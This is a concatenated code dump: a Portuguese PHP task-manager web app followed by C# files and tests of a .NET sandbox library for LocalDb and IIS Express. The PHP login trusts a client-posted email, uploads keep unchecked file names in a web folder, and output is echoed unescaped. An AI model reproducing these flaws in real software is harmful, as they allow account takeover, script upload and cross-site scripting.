<a href="dao/logout.php" class="btn btn-success" onclick="signOut();">Logout</a>
</form>
</div><!--/.navbar-collapse -->
</div>
</nav>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron fundo">
<div class="container fundo">
<h2 class="s">Bem vindo ao Sistema</h2>
<p class="s">Utilize o menu acima para navegar na página</p>
</div>
</div>
</div>
<hr>
<footer>
<p class="text-center">© Desenvolvido by: <NAME></p>
</footer>
<!-- Scripts jQuery e Bootstrap -->
<script src="bootstrap-3.3.5-dist/js/jquery-1.11.3.min.js"></script>
<script src="bootstrap-3.3.5-dist/js/bootstrap.min.js"></script>
</body>
</html>
<?php }else{ require_once "erro_sessao.php"; }?>
<file_sep><?php
require_once "conexao.php";
//Pegando id da url para realizar a exclusão de dados
$id=isset($_POST['id'])?$_POST['id']:0;
if($id!=0){
$stmt=$conn->prepare("DELETE FROM tarefa where cod_tarefa = ?");
$stmt->bindParam(1,$id);
$stmt->execute();
header("Location: ../excluir.php");
}
else{
header("Location: ../excluir.php");
}
<file_sep><?php
require_once "conexao.php";
//Pegando dados para atualizar o sistema
$id=isset($_POST['id'])?$_POST['id']:0;
$nome=isset($_POST['nome'])?$_POST['nome']:"";
$descricao=isset($_POST['descricao'])?$_POST['descricao']:"";
$prioridade=isset($_POST['prioridade'])?$_POST['prioridade']:"";
$usuario=isset($_POST['usuario'])?$_POST['usuario']:"";
if($id!=0){
$stmt=$conn->prepare("UPDATE tarefa SET nome=?,descricao=?,prioridade=?,usuario=? WHERE cod_tarefa=?");
$stmt->bindParam(1,$nome);
$stmt->bindParam(2,$descricao);
$stmt->bindParam(3,$prioridade);
$stmt->bindParam(4,$usuario);
$stmt->bindParam(5,$id);
$stmt->execute();
header("Location: ../alterar.php");
}
else{
header("Location: ../alterar.php");
}<file_sep><?php
//Verificando se a sessão esta aberta
session_start();
if(!empty($_SESSION['login']) && $_SESSION['login']==true){
require_once "dao/redirecionar_login.php";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Dashboard My System</title>
<!-- Bootstrap core CSS -->
<link href="bootstrap-3.3.5-dist/css/bootstrap.min.css" rel="stylesheet">
<!-- CSS personalizado -->
<link href="bootstrap-3.3.5-dist/css/signin.css" rel="stylesheet">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="stylesheet" href="css/estilo.css"/>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Pacifico" rel="stylesheet">
<script src="https://apis.google.com/js/platform.js" async defer></script>
<meta name="google-signin-client_id" content="633890497367-m2qjt6tqgv3f6eoon10umg9vp25v5n68.apps.googleusercontent.com">
<script type="text/javascript" src="js/jquery.js"></script>
</head>
<body>
<div class="container">
<div class="col-md-12">
<div class="panel-heading">
<h2 class="text-center s">Acessar Dashboard My System</h2>
</div>
<form class="form-signin" role="form" action="login_gmail.php" method="post">
<button class="btn btn-lg btn-primary botao_gmail btn-block" type="submit">Logar no sistema com o Google</button>
</form>
</div> <!-- /container -->
</div>
<hr>
<footer>
<p class="text-center">© Desenvolvido by: <NAME></p>
</footer>
<!-- Scripts jQuery e Bootstrap -->
<script src="bootstrap-3.3.5-dist/js/jquery-1.11.3.min.js"></script>
<script src="bootstrap-3.3.5-dist/js/bootstrap.min.js"></script>
</body>
</html>
<file_sep><?php
//Verificando se a sessão esta aberta
session_start();
if(!empty($_SESSION['login']) && $_SESSION['login']==true){
?>
<?php
require_once "dao/conexao.php";
//Realizando a consulta para exclusão dos dados
if(isset($_GET["id"])){
$id=$_GET["id"];
}else{
$id=isset($_POST["consultar"])?$_POST["consultar"]:0;
}
$stmt=$conn->prepare("SELECT * FROM tarefa where cod_tarefa = ?");
$stmt->bindParam(1,$id);
$stmt->execute();
$rs=$stmt->fetch(PDO::FETCH_ASSOC);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="<NAME>" content="">
<title>Dashboard My System</title>
<!-- Bootstrap core CSS -->
<link href="bootstrap-3.3.5-dist/css/bootstrap.min.css" rel="stylesheet">
<!-- CSS personalizado -->
<link href="bootstrap-3.3.5-dist/css/signin.css" rel="stylesheet">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="stylesheet" href="estilo.css"/>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Pacifico" rel="stylesheet">
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/funcao.js"></script>
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand s" href="#">Dashboard My System</a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li class="s"><a href="inicio.php">Início</a></li>
<li class="s"><a href="cadastrar.php">Nova Tarefa</a></li>
<li class="s"><a href="alterar.php">Alterar Tarefa</a></li>
<li class="s"><a href="listar.php">Listar Tarefas</a></li>
<li class="active s"><a href="excluir.php">Excluir Tarefa</a></li>
</ul>
<form class="navbar-form navbar-right">
<div class="form-group">
<input type="text" placeholder="text" class="form-control" disabled value="<?=$_SESSION['userName'];?>">
</div>
<a href="dao/logout.php" class="btn btn-success" onclick="signOut();">Logout</a>
</form>
</div><!--/.navbar-collapse -->
</div>
</nav>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron fundo">
<div class="container fundo">
<h2 class="s">Exclusão de Tarefas</h2>
<p class="s"></p>
</div>
</div>
<div class="container">
<div class="col-md-12">
<div class="panel panel-primary">
<div class="panel-heading">
<h3 class="panel-title h1">Excluir Tarefa</h3>
</div>
<br >
<form name="buscar" class="form-horizontal" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<fieldset>
<div class="form-group">
<label for="inputConsultar" class="col-lg-2 control-label">Buscar</label>
<div class="col-lg-3">
<input type="text" class="form-control" id="inputConsultar" name="consultar" placeholder="Informe o id da tarefa" value="<?=$rs['cod_tarefa']?>" required="">
</div>
</div>
<div class="form-group">
<div class="col-lg-6 col-lg-offset-2">
<button type="submit" name="operacao" class="btn btn-success" value="buscar">Buscar</button>
</div>
</div>
</fieldset>
</form>
<form name="excluir" class="form-horizontal" action="dao/excluir_tarefa.php" method="post">
<fieldset>
<div class="form-group">
<label for="inputNome" class="col-lg-2 control-label">Nome da Tarefa</label>
<div class="col-lg-9">
<input type="text" class="form-control" id="inputNome" name="nome" placeholder="" value="<?=$rs["nome"];?>" required="" disabled>
</div>
</div>
<div class="form-group">
<label for="descricao" class="col-lg-2 control-label">Descrição:</label>
<div class="col-lg-9">
<textarea class="form-control" rows="2" id="descricao" placeholder="" disabled><?=$rs["descricao"];?></textarea>
</div>
</div>
<div class="form-group">
<label for="inputPrio" class="col-lg-2 control-label">Prioridade</label>
<div class="col-lg-9">
<select class="selectpicker" disabled>>
<option><?=$rs['prioridade'];?></option>
</select>
</div>
</div>
<div class="form-group">
<label for="inputNomeUsuario" class="col-lg-2 control-label">Usuário</label>
<div class="col-lg-9">
<input type="text" class="form-control" id="inputNomeUsuario" name="usuario" placeholder="" value="<?=$rs['usuario']?>" required="" disabled>
</div>
</div>
<div class="form-group">
<label for="inputConsultar" class="col-lg-2 control-label"></label>
<div class="col-lg-3">
<input type="hidden" class="form-control" id="inputConsultar" name="id" placeholder="Informe o id da tarefa" value="<?=$rs['cod_tarefa']?>" required="">
</div>
</div>
<div class="form-group">
<div class="col-lg-6 col-lg-offset-2">
<button type="submit" name="operacao" class="btn btn-success" value="excluir">Excluir</button>
</div>
</div>
</fieldset>
</form>
</div> <!-- /container -->
</div>
<hr>
<footer>
<p class="text-center">© Desenvolvido by: <NAME></p>
</footer>
<!-- Scripts jQuery e Bootstrap -->
<script src="bootstrap-3.3.5-dist/js/jquery-1.11.3.min.js"></script>
<script src="bootstrap-3.3.5-dist/js/bootstrap.min.js"></script>
</body>
</html>
<?php }else{ require_once "erro_sessao.php"; }?><file_sep><?php
session_start();
require_once "conexao.php";
//FILTER_SANITIZE_STRING informa que a variavel é um string.
$email=filter_input(INPUT_POST,'userEmail',FILTER_SANITIZE_STRING);
$userName=filter_input(INPUT_POST,'userName',FILTER_SANITIZE_STRING);
//Realizando a consulta para verificar email no banco de dados
$stmt=$conn->prepare("SELECT * FROM usuarios where email = ?");
$stmt->bindParam(1,$email);
$stmt->execute();
$rs=$stmt->fetch(PDO::FETCH_ASSOC);
$rsRows=$stmt->rowCount();
if(($stmt==true) AND ($rsRows!=0)){//Se o email do gmail for igual do banco o sistema é liberado
$_SESSION['login']=true;
$_SESSION['userName']=$userName;
$resultado='inicio.php';
echo $resultado;
}else{//Caso o email não exista no banco de dados, na mesma hora ele é inserido
$stmt=$conn->prepare("INSERT INTO usuarios (nome,email) VALUES (?,?)");
$stmt->bindParam(1,$userName);
$stmt->bindParam(2,$email);
$stmt->execute();
$stmt=$conn->prepare("SELECT * FROM usuarios where email = ?");
$stmt->bindParam(1,$email);
$stmt->execute();
$rs=$stmt->fetch(PDO::FETCH_ASSOC);
$rsRows=$stmt->rowCount();
if(($stmt==true) AND ($rsRows!=0)){//Após ser inserido o email é verificado novamente se ele cadastrou no banco
$_SESSION['login']=true;
$_SESSION['userName']=$userName;
$resultado='inicio.php';
echo $resultado;
}else{//Caso contrário é enviado uma mensagem de erro que impede de o login ser iniciado
$resultado='erro';
echo(json_encode($resultado));
}
}
<file_sep><?php
//Verificando se a sessão esta aberta
session_start();
if(!empty($_SESSION['login']) && $_SESSION['login']==true){
?>
<?php require_once "utf.php"; ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="<NAME>" content="">
<title>Dashboard My System</title>
<!-- Bootstrap core CSS -->
<link href="bootstrap-3.3.5-dist/css/bootstrap.min.css" rel="stylesheet">
<!-- CSS personalizado -->
<link href="bootstrap-3.3.5-dist/css/signin.css" rel="stylesheet">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="stylesheet" href="css/estilo.css"/>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Pacifico" rel="stylesheet">
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/funcao.js"></script>
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand s" href="#">Dashboard My System</a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li class="s"><a href="inicio.php">Início</a></li>
<li class="active s"><a href="cadastrar.php">Nova Tarefa</a></li>
<li class="s"><a href="alterar.php">Alterar Tarefa</a></li>
<li class="s"><a href="listar.php">Listar Tarefas</a></li>
<li class="s"><a href="excluir.php">Excluir Tarefa</a></li>
</ul>
<form class="navbar-form navbar-right">
<div class="form-group">
<input type="text" placeholder="text" class="form-control" disabled value="<?=$_SESSION['userName'];?>">
</div>
<a href="dao/logout.php" class="btn btn-success" onclick="signOut();">Logout</a>
</form>
</div><!--/.navbar-collapse -->
</div>
</nav>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron fundo">
<div class="container fundo">
<h2 class="s">Cadastro de Tarefas</h2>
<p class="s"></p>
</div>
</div>
<div class="container">
<div class="col-md-12">
<div class="panel panel-primary">
<div class="panel-heading">
<h3 class="panel-title h1">Cadastrar Nova Tarefa</h3>
</div>
<br >
<form name="cadastro" enctype="multipart/form-data" class="form-horizontal" action="dao/cadastrar_tarefa.php" method="post">
<fieldset>
<div class="form-group">
<label for="inputNome" class="col-lg-2 control-label">Nome da Tarefa</label>
<div class="col-lg-9">
<input type="text" class="form-control" id="inputNome" name="nome" placeholder="informe o nome da tarefa" value="" required="">
</div>
</div>
<div class="form-group">
<label for="descricao" class="col-lg-2 control-label">Descrição:</label>
<div class="col-lg-9">
<textarea class="form-control" rows="2" name="descricao" id="descricao" placeholder="Informe a descrição da tarefa" required=""></textarea>
</div>
</div>
<div class="form-group">
<label for="files" class="col-lg-2 control-label">Anexar arquivo</label>
<div class="col-lg-9">
<input type='file' name='arquivo[]'/><br>
</div>
</div>
<div class="form-group">
<label for="inputPrio" class="col-lg-2 control-label">Prioridade</label>
<div class="col-lg-9">
<select class="selectpicker" name="prioridade">
<option>1</option>
<option>2</option>
<option>3</option>
<option>4</option>
<option>5</option>
</select>
</div>
</div>
<input type="hidden" placeholder="text" class="form-control" name="usuario" value="<?=$_SESSION['userName'];?>">
<div class="form-group">
<div class="col-lg-6 col-lg-offset-2">
<button type="submit" name="operacao" class="btn btn-success" value="cadastrar">Cadastrar</button>
</div>
</div>
</fieldset>
</form>
</div> <!-- /container -->
</div>
<hr>
<footer>
<p class="text-center">© Desenvolvido by: <NAME></p>
</footer>
<!-- Scripts jQuery e Bootstrap -->
<script src="bootstrap-3.3.5-dist/js/jquery-1.11.3.min.js"></script>
<script src="bootstrap-3.3.5-dist/js/bootstrap.min.js"></script>
</body>
</html>
<?php }else{ require_once "erro_sessao.php"; }?><file_sep><?php
//Verificando se a sessão esta aberta
session_start();
if(!empty($_SESSION['login']) && $_SESSION['login']==true){
?>
<?php require_once "dao/conexao.php"; ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="<NAME>" content="">
<title>Dashboard My System</title>
<!-- Bootstrap core CSS -->
<link href="bootstrap-3.3.5-dist/css/bootstrap.min.css" rel="stylesheet">
<!-- CSS personalizado -->
<link href="bootstrap-3.3.5-dist/css/signin.css" rel="stylesheet">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="stylesheet" href="css/estilo.css"/>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Pacifico" rel="stylesheet">
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/funcao.js"></script>
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand s" href="#">Dashboard My System</a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li class="s"><a href="inicio.php">Início</a></li>
<li class="s"><a href="cadastrar.php">Nova Tarefa</a></li>
<li class="s"><a href="alterar.php">Alterar Tarefa</a></li>
<li class="active s"><a href="listar.php">Listar Tarefas</a></li>
<li class="s"><a href="excluir.php">Excluir Tarefa</a></li>
</ul>
<form class="navbar-form navbar-right">
<div class="form-group">
<input type="text" placeholder="text" class="form-control" disabled value="<?=$_SESSION['userName'];?>">
</div>
<a href="dao/logout.php" class="btn btn-success" onclick="signOut();">Logout</a>
</form>
</div><!--/.navbar-collapse -->
</div>
</nav>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron fundo">
<div class="container fundo">
<h2 class="s">Listando Tarefas</h2>
<p class="s"></p>
</div>
</div>
<div class="container">
<div class="col-md-12">
<div class="panel panel-primary">
<div class="panel-heading">
<h3 class="panel-title h1">Lista de Tarefas</h3>
</div>
<br >
<form name="cadastro" class="form-horizontal" action="dao/usuariodao.php" method="post">
<fieldset>
<table class="table table-hover table-striped table-bordered">
<thead>
<tr>
<th>Id</th>
<th>Nome Tarefa</th>
<th>Descrição</th>
<th>Anexos</th>
<th>Prioridade</th>
<th>Inserida</th>
<th>Status</th>
<th>Finalizada</th>
<th>Concluir Tarefa</th>
<th>Atualizar</th>
<th>Excluir</th>
</tr>
</thead>
<tbody>
<?php
$stmt=$conn->prepare("SELECT * FROM tarefa");
$stmt->execute();
while($rs=$stmt->fetch(PDO::FETCH_ASSOC)){
if($rs['status']=="Finalizada"){
?>
<tr>
<th><?=$rs["cod_tarefa"]; ?></th>
<th><?=$rs["nome"];?></th>
<th><?=$rs["descricao"];?></th>
<th><?=$rs["anexos"];?></th>
<th><?=$rs["prioridade"];?></th>
<th><?=$rs["usuario"];?></th>
<th class="success"><?=$rs["status"];?></th>
<th class="success"><?=$rs["usuario_alteracao"];?></th>
<th><a class="btn btn-success" href="dao/finaliza_tarefa.php?id=<?=$rs['cod_tarefa']?>">Concluir Tarefa</a></th>
<th><a href="alterar.php?id=<?=$rs['cod_tarefa']?>">Atualizar</a></th>
<th><a href="excluir.php?id=<?=$rs['cod_tarefa']?>">Excluir</a></th>
</tr>
<?php }else{?>
<tr>
<th><?=$rs["cod_tarefa"]; ?></th>
<th><?=$rs["nome"];?></th>
<th><?=$rs["descricao"];?></th>
<th><?=$rs["anexos"];?></th>
<th><?=$rs["prioridade"];?></th>
<th><?=$rs["usuario"];?></th>
<th class="danger" ><?=$rs["status"];?></th>
<th class="danger"><?=$rs["usuario_alteracao"];?></th>
<th><a class="btn btn-success" href="dao/finaliza_tarefa.php?id=<?=$rs['cod_tarefa']?>">Concluir Tarefa</a></th>
<th><a href="alterar.php?id=<?=$rs['cod_tarefa']?>">Atualizar</a></th>
<th><a href="excluir.php?id=<?=$rs['cod_tarefa']?>">Excluir</a></th>
</tr>
<?php }}?>
</tbody>
</table>
</fieldset>
</form>
</div> <!-- /container -->
</div>
<hr>
<footer>
<p class="text-center">© Desenvolvido by: <NAME></p>
</footer>
<!-- Scripts jQuery e Bootstrap -->
<script src="bootstrap-3.3.5-dist/js/jquery-1.11.3.min.js"></script>
<script src="bootstrap-3.3.5-dist/js/bootstrap.min.js"></script>
</body>
</html>
<?php }else{ require_once "erro_sessao.php"; }?><file_sep><?php
require_once "conexao.php";
//Pegando o anexo da tarefa
$diretorio = "../uploads/";
if (!is_dir($diretorio)){
echo "Pasta $diretorio nao existe";
}else{
echo "A Pasta Existe<br>";
$arquivo = isset($_FILES['arquivo']) ? $_FILES['arquivo'] : FALSE;
for ($k = 0; $k < count($arquivo['name']); $k++)
{
$destino = $diretorio."/".$arquivo['name'][$k];
if (move_uploaded_file($arquivo['tmp_name'][$k], $destino)) {
echo "Pasta movida<br>";
}else{
echo "Erro ao mover";
}
}
}
//Pegando os valores enviados pelo post
$nome=isset($_POST['nome'])?$_POST['nome']:"";
$desc=isset($_POST['descricao'])?$_POST['descricao']:"";
$prioridade=isset($_POST['prioridade'])?$_POST['prioridade']:"";
$usuario=isset($_POST['usuario'])?$_POST['usuario']:"";
$status="Processada";
//Cadastrando os valores das variáveis
$stmt=$conn->prepare("INSERT INTO tarefa (nome,descricao,anexos,prioridade,usuario,status) VALUES (?,?,?,?,?,?)");
$stmt->bindParam(1,$nome);
$stmt->bindParam(2,$desc);
$stmt->bindParam(3,$destino);
$stmt->bindParam(4,$prioridade);
$stmt->bindParam(5,$usuario);
$stmt->bindParam(6,$status);
$stmt->execute();
header("Location: ../cadastrar.php");
<file_sep><?php
session_start();
require_once "conexao.php";
//Pegando id da url da tabela da tela listar para realizar a alteração do status da tarefa
$id=isset($_GET['id'])?$_GET['id']:0;
$usuario_alterado=$_SESSION['userName'];
$status="Finalizada";
if($id!=0){
$stmt=$conn->prepare("UPDATE tarefa SET status=?, usuario_alteracao=? WHERE cod_tarefa=?");
$stmt->bindParam(1,$status);
$stmt->bindParam(2,$usuario_alterado);
$stmt->bindParam(3,$id);
$stmt->execute();
header("Location: ../listar.php");
}
else{
header("Location: ../listar.php");
} | e13d574f1db22fd49bc1b0242f523ac4eca9515d | [
"Markdown",
"PHP"
] | 11 | Markdown | Levandovski/Levandovski.github.io | ab86d17ca575f1e2be6fbb9cc17b7aa832e3b9e5 | e5f2d9f5efd66200f893e7bb5a3776fdfdafc982 |
refs/heads/development | <repo_name>ritterim/sandbox<file_sep>/src/IisExpress/IisExpressGrain.cs
using System;
using System.Diagnostics;
using System.IO;
namespace RimDev.Sandbox.IisExpress
{
[DebuggerDisplay("IIS Express Grain <{Name}>")]
public class IisExpressGrain : IGrain, IIisExpressConfiguration
{
public IisExpressGrain(string name)
{
if (name == null) throw new ArgumentNullException("name");
Name = name;
}
public string Name { get; protected set; }
public string Source { get; protected set; }
public string WorkingDirectory { get; protected set; }
public RimDev.Automation.WebHosting.IisExpress Instance { get; protected set; }
public void Dispose()
{
if (Instance != null)
Instance.Dispose();
}
public void Setup(Sandbox sandbox)
{
if (string.IsNullOrWhiteSpace(Source) || !Directory.Exists(Source))
throw new ArgumentException("Source must be defined and must exist", "Source");
var location = sandbox.CreateGrainDirectory(this);
/* move contents to sandbox area */
sandbox.CopyAll(new DirectoryInfo(Source), new DirectoryInfo(location));
WorkingDirectory = location;
Instance = RimDev.Automation.WebHosting.IisExpress.CreateServer(location, Name).Result;
Instance.Start();
}
public string HttpEndpoint
{
get
{
return Instance == null
? string.Empty
: string.Format("http://localhost:{0}", Instance.HttpPort);
}
}
public string HttpsEndpoint
{
get
{
return Instance == null
? string.Empty
: string.Format("https://localhost:{0}", Instance.HttpsPort);
}
}
public IIisExpressConfiguration WithSource(string source)
{
if (source == null) throw new ArgumentNullException("source");
Source = source;
return this;
}
}
}<file_sep>/src/Transform/TransformExtensions.cs
using System;
namespace RimDev.Sandbox.Transform
{
public static class TransformExtensions
{
public const string DefaultName = "Transform";
public static Sandbox UseTranform(this Sandbox sandbox, string name = DefaultName, Action<dynamic> config = null)
{
var grain = new TransformGrain(name);
sandbox.Add(grain);
if (config != null)
config((dynamic) sandbox);
return sandbox;
}
}
}
<file_sep>/tests/LocalDb.Tests/LocalDbGrainTests.cs
using System.Data.SqlClient;
using Xunit;
namespace RimDev.Sandbox.LocalDb
{
public class LocalDbGrainTests
{
[Fact]
public void Can_register_with_sandbox_using_defaults()
{
var sandbox = new Sandbox().UseLocalDb();
Assert.True(sandbox.Exists("LocalDb"));
}
[Fact]
public void Can_register_with_sandbox_using_other_name()
{
var sandbox = new Sandbox().UseLocalDb(name: "Test");
Assert.True(sandbox.Exists("Test"));
}
[Fact]
public void Can_access_localdb_from_grain()
{
using (var sandbox = new Sandbox().UseLocalDb().Play())
{
var sb = sandbox as dynamic;
using (SqlConnection connection = sb.LocalDb.Instance.OpenConnection())
{
var databale = connection.GetSchema();
Assert.NotNull(databale);
}
}
}
}
}
<file_sep>/src/IisExpress/IIisExpressConfiguration.cs
namespace RimDev.Sandbox.IisExpress
{
public interface IIisExpressConfiguration
{
IIisExpressConfiguration WithSource(string source);
}
}<file_sep>/src/LocalDb/LocalDbSandboxExtensions.cs
using System;
namespace RimDev.Sandbox.LocalDb
{
public static class LocalDbSandboxExtensions
{
public static Sandbox UseLocalDb(this Sandbox sandbox, string name = "LocalDb", Action<dynamic, ILocalDbConfiguration> config = null)
{
var grain = new LocalDbGrain(name);
sandbox.Add(grain);
if (config != null)
config((dynamic)sandbox, grain);
return sandbox;
}
}
}<file_sep>/tests/Transform.Tests/TransformTests.cs
using Xunit;
namespace RimDev.Sandbox.Transform
{
public class TransformTests
{
[Fact]
public void Can_register_with_sandbox_using_defaults()
{
var sandbox = new Sandbox().UseTranform();
Assert.True(sandbox.Exists(TransformExtensions.DefaultName));
}
[Fact]
public void Can_register_with_sandbox_using_other_name()
{
var sandbox = new Sandbox().UseTranform(name: "Test");
Assert.True(sandbox.Exists("Test"));
}
[Fact]
public void Can_access_transform_from_grain()
{
using (var sandbox = new Sandbox().UseTranform().Play())
{
var sb = sandbox as dynamic;
Assert.NotNull(sb.Transform.Instance);
}
}
}
}
<file_sep>/src/IisExpress/IisExpressGrainExtensions.cs
using System;
namespace RimDev.Sandbox.IisExpress
{
public static class IisExpressGrainExtensions
{
public const string DefaultName = "IisExpress";
public static Sandbox UseIisExpress(this Sandbox sandbox, string source)
{
return UseIisExpress(sandbox, DefaultName, (sb, cfg) => cfg.WithSource(source));
}
public static Sandbox UseIisExpress(this Sandbox sandbox, string name = DefaultName, Action<dynamic, IIisExpressConfiguration> config = null)
{
var grain = new IisExpressGrain(name);
sandbox.Add(grain);
if (config != null)
config((dynamic)sandbox, grain);
return sandbox;
}
}
}<file_sep>/tests/Core.Tests/SandboxTests.cs
using System;
using System.Diagnostics;
using System.IO;
using Xunit;
namespace RimDev.Sandbox
{
public class SandboxTests : IDisposable
{
public Sandbox Sandbox { get; set; }
public SandboxTests()
{
Sandbox = new Sandbox();
}
[Fact]
public void Can_create_a_sandbox()
{
Assert.NotNull(Sandbox);
}
[Fact]
public void Can_play_in_a_sandbox()
{
Assert.NotNull(Sandbox.Play());
}
[Fact]
public void Can_setup_a_grain()
{
using (var sb = new Sandbox())
{
var sandbox = sb as dynamic;
sandbox.Test = new TestGrain();
sandbox.Play();
Assert.True(sandbox.Test.IsSetup);
}
}
[Fact]
public void Can_dispose_of_grains()
{
var sandbox = new Sandbox() as dynamic;
sandbox.Test = new TestGrain();
sandbox.Dispose();
Assert.True(sandbox.Test.IsDisposed);
}
[Fact]
public void Prinicipal_is_everyone_by_default()
{
Assert.Equal("Everyone", Sandbox.Principal);
}
[Fact]
public void Can_set_prinicipal()
{
Sandbox.SetPermissionPrinicipal("Test");
Assert.Equal("Test", Sandbox.Principal);
}
[Fact]
public void Can_create_grain_directory()
{
var path = Sandbox.CreateGrainDirectory(new TestGrain());
Assert.True(Directory.Exists(path));
}
[Fact]
public void Can_get_strongly_typed_grain()
{
using (var sb = new Sandbox())
{
var sandbox = sb as dynamic;
sandbox.Test = new TestGrain();
Assert.NotNull(sb.Get<TestGrain>("Test"));
}
}
[Fact]
public void Get_returns_null_if_not_found()
{
Assert.Null(Sandbox.Get<TestGrain>("nope"));
}
[Fact]
public void Exists_returns_true_if_grain_exists()
{
Sandbox.Add(new TestGrain());
Assert.True(Sandbox.Exists("TestGrain"));
}
[Fact]
public void Exists_throws_exception_if_grain_exists_and_throwOnExists()
{
Assert.Throws<ArgumentException>(() => {
Sandbox.Add(new TestGrain());
Assert.True(Sandbox.Exists("TestGrain", throwOnExists: true));
});
}
public void Dispose()
{
Sandbox.Dispose();
}
}
public class TestGrain : IGrain
{
public TestGrain()
{
Name = "TestGrain";
}
public bool IsDisposed { get; protected set; }
public bool IsSetup { get; protected set; }
public void Dispose()
{
IsDisposed = true;
}
public string Name { get; set; }
public void Setup(Sandbox sandbox)
{
Debug.WriteLine("Setting up Test Grain.");
IsSetup = true;
}
}
}
<file_sep>/src/LocalDb/ILocalDbConfiguration.cs
using System;
namespace RimDev.Sandbox.LocalDb
{
public interface ILocalDbConfiguration
{
ILocalDbConfiguration WithVersion(string version);
ILocalDbConfiguration WithDatabaseName(string databaseName);
ILocalDbConfiguration WithDatabasePrefix(string databasePrefix);
ILocalDbConfiguration WithDatabaseSuffix(Func<string> databaseSuffixGenerator);
}
}<file_sep>/src/LocalDb/LocalDbGrain.cs
using System;
using System.Diagnostics;
using System.Linq;
namespace RimDev.Sandbox.LocalDb
{
[DebuggerDisplay("LocalDb Grain <{Name}>")]
public class LocalDbGrain : IGrain, ILocalDbConfiguration
{
public LocalDbGrain(string name)
{
if (name == null) throw new ArgumentNullException("name");
Name = name;
DatabasePrefix = Name;
Version = RimDev.Automation.Sql.LocalDb.Versions.InstalledVersions.FirstOrDefault();
DatabaseSuffixGenerator = () => string.Format("{0}_{1}", Guid.NewGuid().ToString("N"), DateTime.Now.Ticks);
}
public string Name { get; protected set; }
public string Version { get; protected set; }
public string DatabaseName { get; protected set; }
public string DatabasePrefix { get; protected set; }
public Func<string> DatabaseSuffixGenerator { get; protected set; }
public RimDev.Automation.Sql.LocalDb Instance { get; protected set; }
public void Dispose()
{
if (Instance != null)
Instance.Dispose();
}
public void Setup(Sandbox sandbox)
{
var location = sandbox.CreateGrainDirectory(this);
Instance = new RimDev.Automation.Sql.LocalDb(DatabaseName, Version, location, DatabasePrefix, DatabaseSuffixGenerator);
}
public ILocalDbConfiguration WithVersion(string version)
{
if (version == null) throw new ArgumentNullException("version");
Version = version;
return this;
}
public ILocalDbConfiguration WithDatabaseName(string databaseName)
{
if (databaseName == null) throw new ArgumentNullException("databaseName");
DatabaseName = databaseName;
return this;
}
public ILocalDbConfiguration WithDatabasePrefix(string databasePrefix)
{
if (databasePrefix == null) throw new ArgumentNullException("databasePrefix");
DatabasePrefix = databasePrefix;
return this;
}
public ILocalDbConfiguration WithDatabaseSuffix(Func<string> databaseSuffixGenerator)
{
if (databaseSuffixGenerator == null) throw new ArgumentNullException("databaseSuffixGenerator");
DatabaseSuffixGenerator = databaseSuffixGenerator;
return this;
}
}
}<file_sep>/README.md
# Sandbox
